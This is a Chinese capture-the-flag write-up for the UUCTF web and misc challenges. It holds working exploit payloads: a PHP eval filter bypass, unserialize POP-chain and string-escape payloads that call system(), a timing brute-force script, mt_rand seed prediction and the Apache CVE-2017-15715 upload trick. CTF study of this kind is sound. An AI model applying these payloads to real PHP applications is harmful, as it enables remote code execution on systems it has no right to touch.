UUCTF(公共赛道)

ez_rce

ez_unser

ezsql

ez_upload

apache 文件上传 (CVE-2017-15715)漏洞

ez_rce


居然都不输入参数，可恶!!!!!!!!!
 
## 放弃把，小伙子，你真的不会RCE,何必在此纠结呢？？？？？？？？？？？？
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
        echo '看看你输入的参数！！！不叫样子！！';echo '
';
        eval($code);
    }
    else{
        die("你想干什么？？？？？？？？？");
    }
}
else{
    echo "居然都不输入参数，可恶!!!!!!!!!";
    show_source(__FILE__);
}
 
译

sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell禁用了许多的命令，但是没有禁用掉\，这不就可以进行转义了吗。

然后看到`没有被禁用，输出语句的话print_r还可以使用

然后ca\t 获得flag

printf作为输出也是可以的

ez_unser


show_source(__FILE__);
 
###very___so___easy!!!!
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){
        $this->a=1;
        $this->b=2;
        $this->c=3;
    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
    die("你输入的不正确！！！搞什么！！");
}
$bbb=unserialize($_GET['a']);

额这道题前不久刚碰到过这种类型的，还是学长给我解答了，其实从正则看test:3是不可能绕过wakeup的，所以我们需要执行完wakeup之后然后

$t=new test();
$t->b=&$t->a;
$t->c="system('cat /fffffffffflagafag');";
echo serialize($t);

思路很简单，就是可能被以前的思想限制了，直接用a的地址空间，然后a和b用的一个内存变量，所以给b赋值相当于给a赋值，就得到了

ezsql

打开界面输了一段语句，发现额密码在前面并且运用了倒序，然后or被过滤了，这里过滤推测是不报错，然后把过滤的字符换成空串

ez_upload

一道文件上传的题目考察的是

apache 文件上传 (CVE-2017-15715)漏洞

漏洞影响版本，Apache HTTPD 2.4.0~2.4.29

应为apache解析文件后缀的时候，是从右往左解析后缀，如果我们上传的文件后缀是.php.jpg的话，就是解析的jpg，然后这个文件依然会是php版本的，所以导致漏洞

funmd5


error_reporting(0);
include "flag.php";
$time=time();
$guessmd5=md5($time);
$md5=$_GET["md5"];
if(isset($md5)){
    $sub=substr($time,-1);
    $md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
    if(preg_match('/0e/',$md5[0])){
        $md5[0]=substr($md5[0],$sub);
        if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
            echo "well!you win again!now flag is yours.
";
            echo $flag;
        }
        else{
            echo $md5[0];
            echo "oh!no!maybe you need learn more PHP!";
        }
    }
    else{
        echo "this is your md5:$md5[0]
";
        echo "maybe you need more think think!";
    }
}
else{
    highlight_file(__FILE__);
    $sub=strlen($md5[0]);
    echo substr($guessmd5,0,5)."
";
    echo "plase give me the md5!";
}
?>
366c0
plase give me the md5!

$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
if(preg_match('/0e/',$md5[0])){

可以先看这两行，是肯定会发生冲突的，所以我们要做的就是绕过第一个正则替换，然后直接执行第二个就可以

二 :md5[1] 的值为 guessmd5 的值 , 而 guessmd5 的值为 time() 获取到的值 , 所以需要保证每次提交时的

md5[1] 的值都等于 md5(time()) 的值

绕过 :md5[0] 的绕过主要是对 preg_replace() 绕过 ,%a 换行符绕过 . 但是此时多了一个换行符 , 题目又提供了

一个 $md5[0]=substr($md5[0],$sub) ; , 只需要 $sub=1 即可删除 %0a 的值 , 而 sub 的值是由时间的最后一

位决定的 (``) 所以只需要保证 time 时间戳最后一位为 1 即可

附上脚本


import requests
import time as time
import hashlib
def send():
    #url="http://localhost/uuctf/funmd5"
    url="http://43.143.7.97:28076/"
    data="md5[0]=%0a0e215962017&md5[1]={}".format(str(hashlib.md5(str(int(time.time())).encode("utf-8")).hexdigest()))
    urltext=requests.get(url,data)
    print(urltext.text)
    if "NSSCTF" in urltext.text:
        print(urltext.text)
        exit()
def timeguess():
    time.sleep(0.5)
    print(int(time.time()))
for i in range(100):
    timeguess()
    send()

ezpop


//flag in flag.php
error_reporting(0);
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;
    function rce(){
        eval($this->cmd);
    }
}
$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}
?>

这是一个pop反序列化和字符串逃逸共同结合的题目

$data_replace=str_replace("hacker","loveuu!",$data);

一般这种替换有了长度的变换，就极大的可能存在字符串逃逸

首先这道题先构造rce的链子


//flag in flag.php
error_reporting(0);
class output{
    public $a;
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd="system('ls /')";
    function rce(){
        eval($this->cmd);
    }
}
$n=new nothing();
$n->b=&$n->a;
$n->t=new output();
$n->t->a=new youwant();
echo serialize($n);
echo base64_encode(serialize($n));
?>

O:7:"nothing":3:{s:1:"a";N;s:1:"b";R:2;s:1:"t";O:6:"output":1:{s:1:"a";O:7:"youwant":1:{s:3:"cmd";s:14:"system('ls /')";}}}Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjE0OiJzeXN0ZW0oJ2xzIC8nKSI7fX19

这里之所以要base64加密是因为，

$this->ob=unserialize(base64_decode($this->basedata));

这里有base64_decode解密的操作，所以我们要进行加密的操作，然后这条链子构造完成以后因为

if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }

在这个类中会进行一次反序列化，然后需要满足key==UUCTF才可以进行这个反序列化


//flag in flag.php
error_reporting(0);
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;  // a=new youwant();
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";  // a = new output();
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);  // toString
    }
}
class youwant{
    public $cmd; // system("cat flag.php");
    function rce(){
        eval($this->cmd);
    }
}
//Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19==
$a = new UUCTF();
$a->name = "jycxk";
$a->key = "UUCTF";
$a->basedata = "Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19=";
echo serialize($a);

O:5:"UUCTF":4:{s:4:"name";s:5:"jycxk";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjE0OiJzeXN0ZW0oJ2xzIC8nKSI7fX19";s:2:"ob";N;}

得到了，然后我们就要想


$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}

如何用这些进行字符串逃逸的功能，首先传入了一个data，然后new UUCTF($pdata)

function __construct($str){
$this->name=$str;
}

这里的$str接受$pdata的值，所以这里的name赋值了我们传入的东西

我们为什么要用字符串逃逸呢

如果我们只是按照循规蹈矩，传入值只会增加name的长度，恶意代码被包含在里面，所以我们需要字符串逃逸

我们要逃逸什么呢？

要逃逸什么呢

O:5:"UUCTF":4:{s:4:"name";s:5:"jycxk";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjE0OiJzeXN0ZW0oJ2xzIC8nKSI7fX19";s:2:"ob";N;}

就是逃逸蓝色字符的内容，然后查字符，每一个hacker就逃逸一个字符，所以需要逃逸多少个字符就需要逃逸多少个hacker

这里改变的就是name的值，然后利用name值进行逃逸

hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:177:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19=";s:2:"ob";N;}

然后我们传进去就会变成这样


 
 
O:5:"UUCTF":4:{s:4:"name";s:1659:"loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:177:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19=";s:2:"ob";N;}";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

这里的1659是love u u！的长度，不包含后面的所以后面的就会逃逸出来

然后最后就可以达到我们的rce，弄了几天它终于出来了呜呜呜

phonecode

打开是一个登录的界面，然后我们随便输入了以后发现了提示

试了几次里面的hint是不同的数字，然后结合下一次必然命中！

所以我们想到了会不会是随机数，php_seed

然后感觉会不会是用上面的手机号当作随机种子，然后提示就是第一次的

输入手机号后提示 hint 为 10 位整数 , 对 mt_rand() 比较熟悉的反应出 , 当 mt_srand( 参数 ) 的种子为手机号的

时候 , 输出的 hint 为第一次 mt_rand() 的值 , 即 mt_rand() 已经运行了一次 .

所以输入的验证码即为第二次 mt_rand() 的值 ( 下一次必然命中 )

echo "提交".mt_rand();
hint:329028719
提交2027400820

果然第一次生成的就是提示给我们的值，然后提交第二次生成的随机值就可以获得flag了

MISC

七七的故事

57q15L2/5Lya6YGX5b+Y77yM5Y205LuN6KaB5Yqq5Yqb6K6w5L2P5L2g77yM5ZOq5oCV5ZG95Luk6Ieq5bex6L+Z5Liq6K+06K+d5LiN5bim5oSf5oOF55qE5a2p5a2Q77yM5Y205oC76IO95oiz5Yiw5Lq65Lus5YaF5b+D5pyA5p+U6L2v55qE6YOo5YiG77yM5LiD5LiD77yM5Y6f56We5Lit55qE5LiA5Liq5Y+v54ix55qE5bCP5YO15bC477yM5Zyo6I2v5bqX5biu55m95pyv55qE5pW055CG6I2v5p2Q77yM5LiD5LiD5aSN5rS75ZCO77yM5Lq65Lus57uP5bi45a+5552A5LuW6K+077ya4oCc5oiR5LiA5Yu65LiJ6Iqx5reh5aW277yB77yB77yB4oCd6Jm954S25pe25bi45Lya5b+Y6K6w6I2v5p2Q5pGG5pS+55qE5L2N572u77yM5L2G5piv55m95pyv5Y205LuO5p2l5rKh5pyJ6LW25LiD5LiD56a75byA77yM5Zug5Li65LiD5LiD5pep5bey57uP5LiN55+l6YGT77yM5a6277yM5Zyo5LuA5LmI5Zyw5pa55LqG44CC5pu+57uP55qE5LiD5LiD5Y+q5LiN6L+H5piv5LiA5Liq5rKh5pyJ54Om5oG855qE5aWz5a2p77yM5LiN6L+H5Li65LqG55Sf6K6h77yM5aW56ZyA6KaB6IOM6LW36IOM56+T77yM5Yiw5aSn5bGx5Lit6YeH6I2v77yM6ICM5Zyo5LiA5qyh6YeH6I2v55qE6L+H56iL5Lit77yM5LiN5bm45Y+R55Sf5LqG44CC5LiD5LiD5oSP5aSW5pGU5YCS77yM5beo5aSn55qE55a855eb6K6p6L+Z5Liq5bCP5aWz5a2p55WZ5LiL5LqG55y85rOq77yM6YKj5pe25YCZ5aW56L+Y5Lya5oSf6KeJ5Yiw55eb44CC5LiD5LiD5o2C552A5Lyk5Y+j77yM5YeG5aSH5Yiw6ZmE6L+R55qE5bGx5rSe5Lit5LyR5oGv5LiA5LiL77yM5Y205oSP5aSW5Y235YWl5LqG55KD5pyI55qE56We6a2U5LmL5oiY5Lit44CC6YKj5pe25YCZ55qE55KD5pyI5bm25LiN5a6J5a6B77yM6Jm954S25pyJ5bid5ZCb55qE5bqH5oqk77yM5L2G5Zyo5LiA5Lqb5YGP6L+c55qE5Zyw5pa577yM6L+Y5q6L5a2Y552A5paX5LqJ77yM5LiD5LiD5LiN6L+H5piv5YW25Lit5LiA5Liq44CC56We6a2U5LmL6Ze055qE5paX5LqJ77yM5L2/5aSn5Zyw5pmD5Yqo77yM5bGx5L2T5bSp5aGM77yM5LiD5LiD5omA5Zyo55qE5bGx5rSe77yM5byA5aeL5bSp5Z2P77yM5beo55+z5LiN5pat6JC95LiL77yM5Zyo5LiA6Zi16L2w6bij5aOw5Lit77yM5LiD5LiD5o6J6L+b5rex5riK77yM5aWE5aWE5LiA5oGv44CC5Zyo5LiD5LiD5r+S5Li05q275Lqh55qE5pe25YCZ77yM5aW55Ly45Ye65omL77yM5Ly85LmO5oOz6KaB5oy955WZ6L+Z576O5aW95Lq65LiW6Ze044CC6Z2i5a+55q275Lqh55qE5oGQ5oOn44CB5a+55b6F5Lqy5Lq655qE5oCd5b+177yM6K6p6L+Z5Liq5bCP5aWz5a2p54iG5Y+R5Ye65LqG5oOK5Lq655qE5rGC55Sf5qyy5pyb77yM56We5LmL55y85oKE54S25p2l5Yiw5aW555qE6Lqr6L6544CC56We6a2U55qE5oiY5LqJ57uT5p2f5LqG77yM6ICM55KD5pyI5LyX5LuZ5Lmf5Y+R546w5LqG6L+Z5Liq5ZG95oKs5LiA57q/55qE5bCP5aWz5a2p77yM5YaF5b+D5pyJ5Lqb5LiN5b+N55Sf5ZG95bCx6L+Z5qC36YCd5Y6777yM5L6/55So6Ieq6Lqr55qE5LuZ5Yqb5biu5Yqp5LiD5LiD6YeN5Zue5Lq66Ze077yM5L2G5rKh5oOz5Yiw5LiD5LiD6KKr5rC46L+c5Zyo55Sf5LiO5q2755qE5aS557yd5Lit77yM6Zm35YWl56m65YmN55qE55av54uC5LmL5Lit44CCZmxhZ3s2NjZjNjE2NzdiNTQ2ODMxNzM1ZjMxNzM1ZjY1NjE3Mzc5NWY2ZDMxNzM2MzdkPT19

进行 base64->hex转字符串获得flag

Where is flag？

打开文件然后，看看数据流里面有什么东西

看一下协议分级里的数据包，然后追踪http流

发现了一个zip压缩包，保存到

文件-》导出-》http流，然后保存到桌面

然后用010解压文件

IHER是png里面的东西，所以添加png的文件头

89 50 4E 47 0D 0A 1A 0A。可能我的010版本的问题，只能ctrl+shift+c复制出来，用记事本加上在ctrl+shirt+v复制到010

然后打开文件发现了一个二维码

扫描二维码，得出flag is not here!!!

然后问了一个师傅说会有隐写，用网站解码，

得到flag

略略略来抓我呀（OSINT）

社工题，通过图片获得经纬度定位，然后用百度识图识别出饭店名称，在定位的附近查看酒店

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原文地址：https://blog.csdn.net/qq_62046696/article/details/127673877